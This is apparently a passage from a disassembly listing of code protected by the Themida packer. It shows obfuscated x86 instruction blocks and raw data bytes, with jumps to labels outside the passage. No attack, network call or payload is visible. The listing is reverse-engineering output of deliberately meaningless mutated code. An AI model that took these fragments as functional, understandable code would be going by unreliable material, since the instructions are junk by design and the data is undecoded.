		dd 240C8900h, 0FF5EBCE9h, 22E953FFh, 0E9FFFF6Fh, 0FFFF48ABh
dword_602098	dd 4EC83ADh, 0FF9401E9h		db 0FFh
; ---------------------------------------------------------------------------


loc_6020A1:				; CODE XREF: Themida_:005FD6C2j
		add	esp, 4
		add	esp, 4
		push	2FA6h
		jmp	loc_5F7E02
; ---------------------------------------------------------------------------
		dd 81C2015Dh, 290A71C2h, 81E9524Eh
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6020C3:				; CODE XREF: Themida_:00600014j
		add	ebp, 625905ABh
		pop	ecx
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		movsx	ecx, ax
		push	2E2Ah
		mov	[esp], ecx
		jmp	loc_5F6943
; ---------------------------------------------------------------------------


loc_6020E7:				; CODE XREF: Themida_:005FDBD7j
		push	edx
		mov	edx, 648223D9h
		add	edx, 5FF310C4h
		xor	edx, 6AA058D8h
		jmp	loc_5F8FEA
; ---------------------------------------------------------------------------
		dw 0EB01h
		dd 0BD55595Dh, 2, 535DEB01h, 42474FFh, 0E9241C8Bh, 0FFFFC848h
		dd 3FB96651h, 66496670h, 4BAEE981h, 0F2C98166h,	0C181660Bh
		dd 0E9521EADh, 0FFFF4DD9h, 5058C109h, 0B209C5B8h, 9CC6E97Fh
		dd 0D601FFFFh, 341C681h, 13E95E12h, 2CFFFFB1h, 0C16853C5h
		dd 89000015h, 0B753240Ch, 88515288h, 59CE88F9h,	8B5AF588h
		dd 0C481241Ch, 4, 0FFB360E9h
		db 0FFh
byte_602175	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F6670o
		dd 31F56824h, 0C890000h, 57E18924h, 0EF5717BFh,	76A8E900h
		dd 0E801FFFFh, 81242C8Bh, 4ECh,	242C8900h, 734E9h, 2546800h
		dd 2C890000h, 50E58924h, 280FBD55h, 0D1E90C8Fh,	2DFFFF51h
		dd 2B5BF551h, 48BC789h,	4C48324h, 15FFD89h, 0B24CE9EBh
		dd 34FFFFFFh, 0D508E924h, 0C581FFFFh, 638C795Dh, 0FFD57CE9h
		dd 88F888FFh, 1C8B58C5h, 4C48124h, 30000000h, 0C8B66E8h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 3E253D64h
		add	ecx, 2CDF02D4h
		xor	ecx, 6B04403Ch
		add	ebp, 50981DF8h
		add	ebp, ecx
		jmp	loc_601BC8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89572434h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 24048F5Ch
		dd 8924248Bh, 2168241Ch, 0E900001Ch, 0FFFFB95Eh, 0E924048Bh
		dd 0FFFF67B8h, 4FA2BA52h, 66E94E15h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_602253:				; CODE XREF: Themida_:00600784j
		mov	ebp, 15E5455Dh
		push	esi
		mov	esi, 7CF7B60h
		add	esi, 0E24B3F53h
		add	ebp, 59EC596Dh
		add	ebp, esi
		sub	ebp, 59EC596Dh
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	edx
		mov	edx, ebp
		mov	edi, edx
		pop	edx
		mov	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_601C2A
; ---------------------------------------------------------------------------


loc_60228D:				; CODE XREF: Themida_:005F8131j
		sub	dword ptr [esp+4], 60645CCAh
		add	[esp+4], ebx
		push	ebx
		push	ebp
		mov	ebp, 7AD07168h
		neg	ebp
		inc	ebp
		neg	ebp
		not	ebp
		jmp	loc_5FB04E
; ---------------------------------------------------------------------------


loc_6022AC:				; CODE XREF: Themida_:005FBE7Fj
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 44E14DFAh
		mov	ecx, ebp
		jmp	loc_5FDB0E
; ---------------------------------------------------------------------------


loc_6022C4:				; CODE XREF: Themida_:005F6B67j
		push	edx
		jmp	loc_602537
; ---------------------------------------------------------------------------


loc_6022CA:				; CODE XREF: Themida_:005FFD42j
		mov	[esp], ecx
		mov	ecx, 4000h
		jmp	loc_5FA6E8
; ---------------------------------------------------------------------------
		db 51h
		dd 0EF88D588h, 0E9240C8Bh, 0FFFFFDA9h
; ---------------------------------------------------------------------------


loc_6022E4:				; CODE XREF: Themida_:005F8890j
		sub	ebx, 201D0063h
		sub	ebx, 0EB7AAB85h
		sub	edi, ebx
		jmp	loc_5FAC23
; ---------------------------------------------------------------------------
		db 1
		dd 14875DEAh, 0D4B9E924h, 0C981FFFFh, 5D250FE1h, 3FF7E981h
		dd 0CF017F25h, 4C1A6859h, 1C890000h, 4BB24h, 0E9530000h
		dd 0FFFFF75Fh
dword_602324	dd 28B6664h, 8904EC83h,	0EC812414h, 4, 0FF8AE8E9h, 4B0CBEFFh
					; DATA XREF: Themida_:005F6728o
		dd 0B850218Ch, 645F5F6Fh, 505E8C1h, 60AE55F3h, 0E67A4225h
		dd 368A2572h, 7B2D259Dh, 3545F637h, 89C6A903h, 5758C629h
		dd 4F5A68h, 0F4F0E900h,	4481FFFFh, 237D0424h, 44817F88h
		dd 2F0424h, 5401033Fh, 6C810424h, 2F0424h, 6C81033Fh, 237D0424h
		dd 0E95A7F88h, 0FFFF45ABh, 57243489h, 0FF5182E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6023A1:				; CODE XREF: Themida_:006003F9j
		mov	[esp], esi
		jmp	loc_600F08
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 7
		dd 6E58F681h, 0EE810554h, 0AA8C2857h, 895EF501h, 0C8295DE9h
		dd 574E9h, 24348900h, 0E9242C31h, 0FFFFC704h, 642CC800h
		dd 9DB65259h, 0FFEDD8E9h, 24348BFFh, 0FFD764E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6023E5:				; CODE XREF: Themida_:005FC027j
		push	edi
		push	ebp
		mov	ebp, 78C80BE4h
		add	ebp, 68F5371Ch
		xor	ebp, 260E649Fh
		push	edx
		mov	edx, 7DFE5536h
		add	edx, 35B00819h
		sub	edx, 0A421A4h
		jmp	loc_5FA21A
; ---------------------------------------------------------------------------


loc_60240F:				; CODE XREF: Themida_:006011E6j
		add	ebx, 4
		add	ebx, 2
		jmp	loc_5FE032
; ---------------------------------------------------------------------------


loc_60241D:				; CODE XREF: Themida_:005F6E08j
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_600D72
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8324h, 54243C89h,	0E952555Fh, 0FFFF4CC2h,	0E956E289h
		dd 0FFFFBC7Fh, 2B9515Ch, 1000000h, 148759CAh, 24248B24h
		dd 24042966h, 44E5E99Ch, 2C68FFFFh, 89000012h, 35E92424h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60246B:				; CODE XREF: Themida_:005FA37Dj
		mov	ebp, 34D87888h
		dec	ebp
		jmp	loc_5FE920
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 2, 148BD501h, 4C48324h, 31242C33h, 2C33242Ch, 9665C24h
		dd 0E99C2404h, 0FFFF44ABh, 0E904C483h, 0FFFFCC2Dh, 0F9E9C329h
		dd 87FFFF9Eh, 0E95C2434h, 0FFFF4493h
; ---------------------------------------------------------------------------


loc_6024B0:				; CODE XREF: Themida_:005FEB88j
		sub	[esp+4], esi
		pop	esi
		pop	ecx
		add	ecx, 445A104Ch
		jmp	loc_5F8178
; ---------------------------------------------------------------------------
		db 89h,	0C1h, 58h
		dd 5324148Bh, 0FF5C9EE9h
		db 0FFh
byte_6024CD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F678Co
		dd 7F666824h, 36E90000h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6024DB:				; CODE XREF: Themida_:005FB09Cj
		add	esp, 4
		push	eax
		mov	eax, 18C9455Ch
		shl	eax, 8
		xor	eax, 0C7A507BBh
		or	ebp, eax
		jmp	loc_5FF238
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815A2434h, 4C4h, 4441E900h, 5052FFFFh, 7F11685Ah, 14890000h
		dd 241C8B24h, 0E904C483h, 0FFFF8A7Bh
; ---------------------------------------------------------------------------


loc_602518:				; CODE XREF: Themida_:006025F8j
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_5FC9AD
		push	ecx
		jmp	loc_5FAED5
; ---------------------------------------------------------------------------
		db 80h
		dd 9BE995F5h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_602537:				; CODE XREF: Themida_:006022C5j
		mov	dh, 0Fh
		add	dh, 0FDh
		mov	cl, dh
		jmp	loc_601F3D
; ---------------------------------------------------------------------------
byte_602543	db 0FFh			; DATA XREF: Themida_:005F684Co
		dd 7EE92434h, 51FFFFABh, 0B3535066h, 0E7B02Fh, 0C5885BD8h
		dd 49E95866h, 1FFFF78h,	0D0295FF8h, 0B17C082Dh,	0B8505601h
		dd 46396AE8h, 0FFC73CE9h, 4D4F68FFh, 14890000h,	1B49BA24h
		dd 89570ACAh, 5FF889D7h, 0E4BB055Ah, 0C301F535h, 4EC8158h
		dd 89000000h, 5FE9243Ch, 81FFFFEFh, 160FF7C7h, 62C78105h
		dd 8B4B683Fh, 0C481242Ch, 4, 8B243C87h,	53E92424h, 81000001h
		dd 0FB7A6EF7h, 81D7F717h, 0AE48DEFh, 5FFE29E9h,	5C243487h
		dd 0E9242C89h, 0FFFF79C0h
; ---------------------------------------------------------------------------


loc_6025DC:				; CODE XREF: Themida_:005F82E1j
		add	edi, 8875476h
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	eax, edi
		jmp	loc_602518
; ---------------------------------------------------------------------------
off_6025FD	dd offset dword_586A7C+4ECh ; DATA XREF: Themida_:005F6894o
		align 2
		dw 2489h
		dd 4EC8124h, 89000000h,	0EC83242Ch, 24248904h, 4240483h
		dd 4C5815Dh, 83000000h,	0BDE904EDh
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_602627:				; CODE XREF: Themida_:005FE9D9j
		inc	edi
		push	ebx
		mov	ebx, 4F7844ABh
		not	ebx
		jmp	loc_5FDB67
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 55h
		dd 4BDh, 0E9EF0100h, 0FFFF9875h, 2E0C148h, 3E054040h, 891E8CD9h
		dd 412D58C6h, 552644Ah,	4E154FA2h, 0FF9E8EE9h, 0FAC681FFh
		dd 2948A83Fh, 0C8015EF0h, 0FF9209E9h, 240C89FFh, 0FF8317E9h
		dd 61D5BBFFh, 0BE5623A9h, 2CCA51FFh, 0FFA678E9h, 240481FFh
		dd 4, 0E6895658h, 4C681h, 0EE810000h, 4, 0FF64F3E9h, 0B2C581FFh
		dd 0E9068B68h, 3ADh, 3508E8C1h,	0A20AD9h, 8158C301h, 4C3h
		dd 241C3300h, 33241C31h, 0ADE9241Ch, 5CFFFFF9h,	56241C89h
		dd 5F56D7BEh, 515DE92Eh, 15DFFFFh, 21BB53E8h, 538CA63h
		dd 66037960h, 0FFD4A2E9h, 67E950FFh
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6026F7:				; CODE XREF: Themida_:005FE0A7j
		mov	[esp], ecx
		push	eax
		mov	eax, 76CD346Bh
		neg	eax
		xchg	eax, edx
		not	edx
		jmp	loc_5FB262
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 9625E9C8h, 8B66FFFFh, 8950240Ch, 0C4E3E9E0h,	0C781FFFFh
		dd 4, 0FFF6C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_602729:				; CODE XREF: Themida_:005FD2AAj
		inc	ecx
		jmp	loc_5FBD07
; ---------------------------------------------------------------------------
		db 80h
		dd 0D7E97DEDh, 50FFFFB7h, 0CCFE28B4h, 0FFB38AE9h, 57E951FFh
		dd 53FFFF55h, 0FF8BA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60274D:				; CODE XREF: Themida_:005FFCEAj
		add	esp, 4
		push	ecx
		push	3222h
		jmp	loc_60277C
; ---------------------------------------------------------------------------
		dw 0B050h
		dd 0E675E9C6h, 0C483FFFFh, 262E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60276E:				; CODE XREF: Themida_:005FD02Bj
		mov	ebx, edx
		pop	edx
		push	edi
		mov	edi, 5F146CD4h
		jmp	loc_5F7696
; ---------------------------------------------------------------------------


loc_60277C:				; CODE XREF: Themida_:00602759j
		mov	[esp], edi
		jmp	loc_5FF213
; ---------------------------------------------------------------------------
		dd 8B243487h, 0EC812424h, 4, 89241489h,	6F3A68E2h, 3C890000h
		dd 4BF24h, 0FA010000h, 4B8505Fh, 1000000h, 148758C2h, 0C4815C24h
		dd 4, 29242C81h, 0E90EC376h, 0FFFF520Ah, 8B04C483h, 0C481243Ch
		dd 4, 448F68h, 24048900h, 0FF4166E9h, 405FFh, 4870000h
		dd 0C4835C24h, 0C8BB5304h, 81008F7Ah, 203834C3h, 2EBC10Dh
		dd 0A3F6F381h, 25E9028Eh, 29FFFFDEh, 0F595E9E9h, 575BFFFFh
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0E589242Ch, 0FFB620E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_602825:				; CODE XREF: Themida_:005FF857j
		push	333Fh
		mov	[esp], ecx
		jmp	loc_601C8A
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 678EE4A4h, 8959CB31h, 0EDC2E9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_602842:				; CODE XREF: Themida_:00601D9Aj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ecx
		pop	ebp
		and	eax, edi
		jmp	loc_5FD2E7
; ---------------------------------------------------------------------------


loc_602858:				; CODE XREF: Themida_:005FBAA6j
		add	eax, ebx
		pop	ebx
		jmp	loc_5FF7E5
; ---------------------------------------------------------------------------
		dd 405h, 4C08300h, 0E9240487h, 0FFFF4AF7h, 4EC815Eh, 0E9000000h
		dd 0FFFF552Dh
; ---------------------------------------------------------------------------


loc_60287C:				; CODE XREF: Themida_:005FB744j
		mov	[esp], ebp
		mov	ebp, 0C693F1Fh
		or	ebp, 6C6626B3h
		jmp	loc_5FFCC8
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2CE33E0h, 815DEE29h,	0C3144CC6h, 0E9C60118h,	0FFFFA69Fh
		dd 5E6C15Dh, 2404FF56h,	3E6C15Eh, 2E6C146h, 0D425EE81h
		dd 77219043h, 2434FF1Ch, 0FF437AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6028C5:				; CODE XREF: Themida_:005F92E8j
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5FFBF6
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 76BB5300h, 0F7516233h,	7E3C1DBh, 1542EB81h, 814319C1h
		dd 252FBBEBh, 0E9DD0135h, 0FFFFCD8Fh, 0E905E7C1h, 0FFFF76CDh
		dd 8B240C87h, 24D32424h, 4031E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_602912:				; CODE XREF: Themida_:005F9C7Fj
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_602918:				; CODE XREF: Themida_:005F9475j
		push	1123h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5FB30F
; ---------------------------------------------------------------------------


loc_602929:				; CODE XREF: Themida_:005FFBD9j
		pop	edi
		xchg	eax, edi
		push	edi
		mov	edi, 54A269E0h
		or	eax, edi
		pop	edi
		jmp	loc_5F719E
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 412D0000h, 2D1EB66Dh, 17CB77C0h, 0C005D829h
		dd 517CB77h, 1EB66D41h,	293ABB53h, 872D1D41h, 154C802h
		dd 28705D8h, 0C3E954C8h, 0E9FFFFCEh, 0FFFF3FCFh, 41664966h
		dd 0FFB37DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60297D:				; CODE XREF: Themida_:006003E2j
		push	ebx
		mov	ebx, esi
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_600D04
; ---------------------------------------------------------------------------
		db 0BDh, 79h, 49h
		dd 8BE907DCh
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60299B:				; CODE XREF: Themida_:005FED96j
		sub	esi, 0A83F9903h
		xor	esi, 1FC066FDh
		add	edi, esi
		jmp	loc_60123C
; ---------------------------------------------------------------------------


loc_6029AE:				; CODE XREF: Themida_:005FECACj
		pop	esp
		and	eax, esi
		pop	esi
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_5FB892
; ---------------------------------------------------------------------------
dword_6029BC	dd 24048B66h, 8904EC83h, 0A368241Ch, 0E9000029h, 0FFFFDC46h
					; DATA XREF: Themida_:005F6764o
		dd 1837F181h, 0E98144DBh, 0EF70A769h, 34FFCD89h, 0C4815924h
		dd 4, 5D406F29h, 0FFF634E9h, 5DEF01FFh,	0FFF381E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6029F9:				; CODE XREF: Themida_:005FD516j
		mov	[esp], ebp
		jmp	loc_5FEC2B
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0F7010000h, 4C7835Eh, 5C243C87h, 2CE930FFh
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_602A17:				; CODE XREF: Themida_:005FC78Fj
		xor	ecx, 0C57C357h
		jmp	loc_5F6960
; ---------------------------------------------------------------------------


loc_602A22:				; CODE XREF: Themida_:005FBA4Cj
		add	ebp, esi
		sub	ebp, 644402C1h
		jmp	loc_6006F9
; ---------------------------------------------------------------------------
		db 81h
		dd 8C7578F6h, 38BB5342h, 815B553Ch, 6D0483F3h, 88EB8141h
		dd 31ABB4CBh, 0D190E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_602A4E:				; CODE XREF: Themida_:005FAA7Aj
		pop	edx
		pop	ebp
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_602060
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 19h
		dd 4D29C620h, 6B60E581h, 0C5814790h, 13B135C9h,	815DEA01h
		dd 8F7AD9EAh, 3EC5E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_602A7E:				; CODE XREF: Themida_:005FB902j
		inc	edi
		push	esi
		mov	esi, 80980DDFh
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 46610C9Dh
		dec	ebx
		xor	ebx, 718339DFh
		push	ecx
		mov	ecx, 5D8B68C2h
		xor	ecx, 7E752EA4h
		jmp	loc_5FD2A4
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 5C243C87h, 0FFCCC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_602ABD:				; CODE XREF: Themida_:005F95E4j
		sub	ebx, 51953D99h
		pop	ebp
		and	ecx, ebx
		pop	ebx
		jmp	loc_600920
; ---------------------------------------------------------------------------


loc_602ACC:				; CODE XREF: Themida_:006006ADj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5F812C
; ---------------------------------------------------------------------------
		db 5
		dd 4, 8704C083h, 15C2404h, 0EC8359C8h, 24048904h, 42474FFh
		dd 24048F58h, 83C80F5Ch, 0F3E904ECh, 0BFFFFFC1h, 0E2A00C4h
		dd 76E9F831h, 0BFFFFFAFh, 1ECA546Eh, 7AEBF781h,	0B85040EEh
		dd 5A8F4CC1h, 48BC729h,	0D6B4E924h
		db 2 dup(0FFh)
word_602B2A	dw 8B66h		; DATA XREF: Themida_:005F67ECo
		dd 0D9E92404h, 0B5FFFF84h, 0FECDFEE8h, 8EDC0C5h, 28C0ED80h
		dd 0D9E959ECh, 81000000h, 4C1h,	2C8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_602B52:				; CODE XREF: Themida_:005F7C4Bj
		add	ebx, 3C46109Ch
		push	edx
		mov	edx, 0
		add	edx, ebx
		push	eax
		mov	eax, 0
		add	eax, edx
		add	dword ptr [eax], 1
		pop	eax
		pop	edx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4


loc_602B78:				; CODE XREF: Themida_:005F8B2Fj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5FB5C9
; ---------------------------------------------------------------------------
		db 5Ah
		dd 422FBA52h, 0D729729Ch, 0FFB695E9h, 25D8B9FFh, 0E9811137h
		dd 73322E21h, 212EF181h, 0E9811557h, 32CC030Ah,	0E9814941h
		dd 0DAC7C653h, 5E9CA01h, 55FFFF4Eh, 6F8A6851h, 0E9590114h
		dd 0FFFFB730h, 9DE9D5F7h
		db 0B9h, 2 dup(0FFh)
byte_602BD7	db 66h			; DATA XREF: Themida_:005F6668o
		dd 64E932FFh
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_602BDF:				; CODE XREF: Themida_:005FB329j
		add	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 4
		jmp	loc_5FF348
; ---------------------------------------------------------------------------


loc_602BED:				; CODE XREF: Themida_:00600C85j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	[esp], eax
		push	eax
		mov	eax, 2A465B8Dh
		jmp	loc_5F89D3
; ---------------------------------------------------------------------------
		dw 0FBBBh
		dd 0C14A7907h, 86E905EBh, 58FFFF85h, 187E9h, 48EA8100h
		dd 0E953BF1Bh, 0FFFFBDABh, 0E9E3005Bh, 0FFFF9BDDh
; ---------------------------------------------------------------------------


loc_602C28:				; CODE XREF: Themida_:005FBF3Dj
		add	eax, 9512AB9h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_6016F3
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFF2A9h
; ---------------------------------------------------------------------------


loc_602C44:				; CODE XREF: Themida_:005FC374j
		pop	esp
		jmp	loc_60198F
; ---------------------------------------------------------------------------


loc_602C4A:				; CODE XREF: Themida_:005FCBB0j
		mov	ebx, [esp]
		add	esp, 4
		and	ecx, eax
		mov	eax, [esp]
		jmp	loc_5FAF7D
; ---------------------------------------------------------------------------


loc_602C5D:				; CODE XREF: Themida_:005F938Dj
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebx
		jmp	loc_601890
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF3CD3h
; ---------------------------------------------------------------------------


loc_602C70:				; CODE XREF: Themida_:005F89FBj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 0Bh
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5FF3DD
; ---------------------------------------------------------------------------
		dw 0C180h
		dd 80C1FE99h, 0B252A5C1h, 7F08E950h, 0C331FFFFh, 0A1168h
		dd 241C8900h, 2CBBh, 0EABA5200h, 290C5E72h, 0FB015AD3h
		dd 7736BE56h, 0DEF7089Dh, 5457C681h, 0EE811AF9h, 5FD6A37h
		dd 77E9F301h, 58FFFFF3h, 4C481h, 0FEE90000h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_602CDB:				; CODE XREF: Themida_:005FA02Bj
		mov	esp, [esp]
		push	61CFh
		jmp	loc_5FC64A
; ---------------------------------------------------------------------------


loc_602CE8:				; CODE XREF: Themida_:005FBA18j
		sub	ebp, 0D96F2AECh
		mov	edi, ebp
		pop	ebp
		jmp	loc_5FF7D0
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 2434FFF0h, 0FFDB9EE9h, 274CBAFFh, 0CA81369Dh, 69E609DEh
		dd 79EFEA81h, 0EAC12D5Ch, 4AD2F706h, 0FFC997E9h, 5DE801FFh
		dd 4BA52h, 3F2D0000h, 2D03FB2Fh, 52B03915h, 1505D001h
		dd 5152B039h, 0FB2F3FB9h, 0E9C80103h, 0FFFF8489h
; ---------------------------------------------------------------------------


loc_602D44:				; CODE XREF: Themida_:005FC2ECj
		mov	eax, [esp]
		add	esp, 4
		not	eax
		push	ebp
		mov	ebp, 74C07BE8h
		add	ebp, 0C684FC47h
		add	eax, 575B7FDAh
		add	eax, ebp
		sub	eax, 575B7FDAh
		pop	ebp
		add	eax, 0EC93569h
		push	ebx
		mov	ebx, 1055F1Fh
		add	eax, ebx
		jmp	loc_5FF86C
; ---------------------------------------------------------------------------


loc_602D7A:				; CODE XREF: Themida_:005FC102j
		shl	ebx, 3
		add	ebx, 0B16272Dh
		add	eax, ebx
		pop	ebx
		jmp	loc_5FA2FC
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0D9C681D6h, 993B7F0h, 0E9475EF7h, 0FFFFC9A0h, 5DAA68h
		dd 241C8900h, 0FF4184E9h, 8BC289FFh, 0C4832404h, 52B85004h
		dd 0E943326Ch, 0FFFF9819h
; ---------------------------------------------------------------------------


loc_602DBC:				; CODE XREF: Themida_:005FE93Ej
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5F6943
; ---------------------------------------------------------------------------
		db 1, 0CFh, 59h
		dd 0F781D7F7h, 0CE428263h, 0FF83F0E9h, 0BF5749FFh, 0A3BB7990h
		dd 895FF901h, 240C8BCAh, 5304C483h, 0F27763BBh,	52DBF72Ch
		dd 0FF8ED6E9h, 81E789FFh, 4C7h,	0B6BAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_602E02:				; CODE XREF: Themida_:00601F80j
		push	ebx
		jmp	loc_5FD025
; ---------------------------------------------------------------------------


loc_602E08:				; CODE XREF: Themida_:005FAEDCj
		pop	ecx
		jmp	loc_602EE9
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4896624h, 3B29E924h,	4D68FFFFh, 8900002Dh, 2BF243Ch
		dd 0E9000000h, 0FFFF877Bh, 4B9h, 0E9CE0100h, 0FFFFDEAEh
		dd 5C240C87h, 0FF7275E9h, 5AD031FFh, 0FFD205E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_602E49:				; CODE XREF: Themida_:005F9434j
		pop	eax
		jmp	loc_600FA8
; ---------------------------------------------------------------------------
		db 1
		dd 81042454h, 3204246Ch, 0FF75082Ah, 835A2434h,	0DCE904C4h
		dd 25FFFF3Ah, 31382741h, 0EF3A4205h, 8AC0E9FBh,	8B54FFFFh
		dd 0C483240Ch, 4C18104h, 57000000h, 2BFh, 0BDC18100h, 817BC211h
		dd 0BD5019C1h, 57F9017Bh, 0FF755EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_602E9D:				; CODE XREF: Themida_:005F8EA9j
		mov	[esp], edx
		not	dword ptr [esp]
		jmp	loc_5FCA31
; ---------------------------------------------------------------------------


loc_602EA8:				; CODE XREF: Themida_:005FD99Dj
		push	edi
		jmp	loc_600367
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 0FFE6EDE9h, 5326B5FFh, 0FE88EF88h, 0FFA915E9h, 24348BFFh
		dd 792D68h, 240C8900h, 29E9E189h, 8BFFFFC3h, 0C483243Ch
		dd 0D06FE904h, 0B850FFFFh, 6F727C4Dh, 0FF6A90E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_602EE9:				; CODE XREF: Themida_:00602E09j
		sub	edx, 282F3904h
		or	edx, 60776E44h
		sub	edx, 82C0A66h
		jmp	loc_600732
; ---------------------------------------------------------------------------
dword_602F00	dd 0E924248Bh, 0FFFF3A3Bh, 4596C381h, 78E929F5h, 83FFFFC2h
					; DATA XREF: Themida_:005F66ACo
		dd 0E9042404h, 0FFFF9A51h, 348BF789h, 4C48124h,	81000000h
		dd 0ED6435F7h, 85F7814Ah, 0F707FD1Bh, 0ADEF81DFh, 524B5054h
		dd 0D74D8068h, 24148B10h, 0FFEAA9E9h, 41EB8FFh,	0D8F771F6h
		dd 0C825E0D1h, 0F75D6E62h, 9D3B2DD0h, 0EF81E3FDh, 47FB1D5Fh
		dd 0C781C701h, 47FB1D5Fh, 582434FFh, 4C481h, 0EF830000h
		dd 243C3304h, 33243C31h, 895C243Ch, 9CBF243Ch, 0E940FF5Eh
		dd 0FFFF5238h
dword_602F90	dd 4F092DADh, 5EE93A1Bh, 0F7FFFF9Bh, 519925D0h,	35686180h
					; DATA XREF: Themida_:005F67C0o
		dd 8900002Bh, 38BB241Ch, 0F75CED04h, 95EEE9D3h,	0FEF4FFFFh
		dd 0FFE00012h, 12h, 0ECEA0000h,	1B006Ah, 0ECEA0277h, 23006Ah
		dd 2460277h, 20000h, 10000h, 50000h, 96A90000h,	0F889h
		dd 4 dup(0)
		dd 80E10000h, 0EACA0060h, 3F950060h, 3A0C0060h,	546D0060h
		dd 0A8F60060h, 59B20060h, 57BE0060h, 3DC60060h,	0A8590060h
		dd 94AC0060h, 0CF260060h, 0C9140060h, 75F50060h, 5A2D0060h
		dd 345F0060h, 0DD010060h, 0BC9A0060h, 61540060h, 0BBDB0060h
		dd 0D2F40060h, 0A9280060h, 0E2A90060h, 66210060h, 7D4A0060h
		dd 0F2700060h, 7A510060h, 9E030060h, 3E1D0060h,	6D200060h
		dd 46050060h, 66040060h, 59390060h, 0C1AE0060h,	64D70060h
		dd 96E00060h, 0A1100060h, 0C2F70060h, 61350060h, 3FA10060h
		dd 6CA90060h, 70A10060h, 0AF1F0060h, 0E7170060h, 803A0060h
